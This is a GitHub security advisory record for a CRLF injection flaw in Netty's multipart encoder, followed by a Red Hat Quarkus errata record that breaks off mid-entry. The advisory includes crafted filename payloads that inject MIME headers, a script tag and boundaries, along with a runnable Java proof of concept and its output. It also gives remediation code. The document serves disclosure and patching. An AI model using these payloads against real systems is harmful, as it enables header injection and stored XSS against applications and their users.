Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e    \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          \u003c-- INJECTED\n  X-Injected: true\\r                                 \u003c-- INJECTED\n  \\r\n  \u003cscript\u003ealert(1)\u003c/script\u003e\\r                        \u003c-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i \u003c filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
  "id": "GHSA-gcjf-9mgh-3p7g",
  "modified": "2026-07-22T21:52:55Z",
  "published": "2026-07-22T21:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This release of Red Hat build of Quarkus 3.33.2.SP3 includes the following CVE fixes:\n\n* resteasy-reactive-client-processor: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service [quarkus-3.33] (CVE-2026-16308)\n\n* vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects [quarkus-3.33] (CVE-2026-15075)\n\n* httpcore: org.apache.httpcomponents.core5:httpcore5: Denial of Service via excessive HTTP headers [quarkus-3.33] (CVE-2026-54399)\n\n* org.apache.httpcomponents.core5:httpcore5-h2:HPackDecoder Unlimited Header List Size Before SETTINGS ACK [quarkus-3.33] (CVE-2026-54428)\n\n* vertx-web-client: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation [quarkus-3.33] (CVE-2026-15076)\n\n* netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification [quarkus-3.33] (CVE-2026-55833)\n\n* netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing [quarkus-3.33] (CVE-2026-55831)\n\n* netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message [quarkus-3.33] (CVE-2026-55851)\n\n* netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec [quarkus-3.33] (CVE-2026-56745)\n\n* netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header [quarkus-3.33] (CVE-2026-56746)\n\n* netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak [quarkus-3.33] (CVE-2026-56819)\n\n* netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb) [quarkus-3.33] (CVE-2026-59899)\n\n* netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder [quarkus-3.33] (CVE-2026-59921)\n\n* netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2 [quarkus-3.33] (CVE-2026-59900)\n\n* netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket) [quarkus-3.33] (CVE-2026-59898)\n\nFor more information, see the release notes page listed in the References section.",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:47172",
        "url": "https://access.redhat.com/errata/RHSA-2026:47172"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/#important",
        "url": "https://access.redhat.com/security/updates/classification/#important"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/products/quarkus/",
        "url": "https://access.redhat.com/products/quarkus/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2.SP3",
        "url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.33.2.SP3"
      },
      {
        "category": "external",
        "summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33",
        "url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.33"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_47172.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.33.2.SP3 security update",
    "tracking": {
      "current_release_date": "2026-07-30T19:36:00+00:00",
      "generator": {
        "date": "2026-07-30T19:36:00+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.8"
        }
      },
      "id": "RHSA-2026:47172",
      "initial_release_date": "2026-07-30T01:40:45+00:00",
      "revision_history": [
        {
          "date": "2026-07-30T01:40:45+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-07-30T01:40:45+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-07-30T19:36:00+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat build of Quarkus 3.33.2.SP3",
                "product": {
                  "name": "Red Hat build of Quarkus 3.33.2.SP3",
                  "product_id": "Red Hat build of Quarkus 3.33.2.SP3",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:quarkus:3.33::el8"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat build of Quarkus"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-15075",
      "cwe": {
        "id": "CWE-346",
        "name": "Origin Validation Error"
      },
      "discovery_date": "2026-07-14T09:01:12.413297+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2499919"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Eclipse Vert.x. The `DefaultRedirectHandler` in `vertx-core` improperly handles HTTP 30x redirects by propagating all request headers, including sensitive authentication and session credentials, to cross-origin redirect destinations. An attacker can exploit this by redirecting a Vert.x HttpClient request to a malicious host. This allows the attacker to capture sensitive information such as bearer tokens, basic authentication credentials, session cookies, and API keys, leading to unauthorized access or further attacks.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important information disclosure flaw in Eclipse Vert.x\u0027s `DefaultRedirectHandler` that affects Red Hat products utilizing `vertx-core` for HTTP client operations. The vulnerability allows sensitive request headers, such as authentication tokens and session cookies, to be forwarded to arbitrary external domains during HTTP 30x redirects. This could enable an attacker to capture credentials if they can induce a Vert.x HttpClient to redirect to a malicious server, potentially leading to unauthorized access.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "RHBZ#2499919",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499919"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-15075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-15075",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/161",
          "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/161"
        }
      ],
      "release_date": "2026-07-14T08:15:53.650000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "To mitigate this issue, configure applications utilizing Vert.x HttpClient to strictly validate and restrict the URLs to which HTTP requests can be redirected. Implement allowlists for trusted domains and ensure that any user-supplied or external URLs processed by Vert.x HttpClient are thoroughly sanitized and validated to prevent redirection to attacker-controlled destinations. This may involve updating application-specific configurations or implementing custom URL validation logic. A service restart or reload may be required for changes to take effect.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects"
    },
    {
      "cve": "CVE-2026-15076",
      "cwe": {
        "id": "CWE-346",
        "name": "Origin Validation Error"
      },
      "discovery_date": "2026-07-14T09:00:58.070373+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2499914"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Eclipse Vert.x Web Client. The WebClientSession component does not properly validate the Domain attribute of a Set-Cookie response header against the originating server\u0027s domain. This vulnerability allows a remote attacker to inject a cookie scoped to an arbitrary third-party domain. When the victim application subsequently sends a request to the targeted domain, the injected cookie is presented, potentially leading to information disclosure and unauthorized access to sensitive data through the attacker\u0027s account on that service.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.vertx/vertx-web: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important information disclosure flaw in Eclipse Vert.x Web Client\u0027s `WebClientSession` component. The vulnerability arises from insufficient validation of the `Domain` attribute in `Set-Cookie` response headers, allowing a remote attacker to inject cookies scoped to arbitrary third-party domains. This could lead to sensitive data exposure and unauthorized access if a victim application subsequently sends requests to the targeted domain, presenting the attacker-controlled cookie. The impact is significant as it bypasses expected cross-domain security boundaries.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "RHBZ#2499914",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499914"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-15076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-15076",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15076"
        },
        {
          "category": "external",
          "summary": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/162",
          "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/162"
        }
      ],
      "release_date": "2026-07-14T08:09:12.951000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.vertx/vertx-web: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation"
    },
    {
      "cve": "CVE-2026-16308",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-23T09:57:24.306000+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506373"
        }
      ],
      "notes": [
        {
          "category": "description",
